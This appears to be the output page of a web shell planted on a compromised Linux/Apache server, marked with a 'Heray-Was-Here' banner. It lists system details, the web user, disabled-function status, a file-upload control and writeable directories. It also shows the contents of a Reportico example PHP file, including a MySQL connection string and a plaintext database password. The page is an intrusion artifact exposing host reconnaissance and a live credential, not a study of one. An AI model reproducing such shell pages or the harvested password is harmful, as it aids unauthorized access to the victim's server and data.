Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/custom/reportes/include/reportico/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/custom/reportes/include/reportico/examples/example.syntax.php
\Reportico\Engine\Builder::build()
          ->datasource()
          ->database("mysql:host=localhost; dbname=reportico")
          ->user({USER})
          ->password("pN0stalr!")
          ->title     ("Employee List")
          ->description     ("Produces a list of our employees")
          ->sql       ("
			    SELECT EmployeeID employee_id, LastName last_name, FirstName first_name, date(BirthDate) birth_date, Country
                FROM northwind_employees
                WHERE 1 = 1
                ORDER BY Country, LastName
			    ")
		  ->expression("fullname")
                ->set("{first_name}.' '.{last_name}")
		  ->expression("age")
                ->set("date_diff(new DateTime(), new DateTime({birth_date}))->format('%y years %m months %d days')")
          ->column("first_name")->hide()
          ->column("last_name")->hide()
          ->column("fullname")->order(3)

		  ->execute();

Hry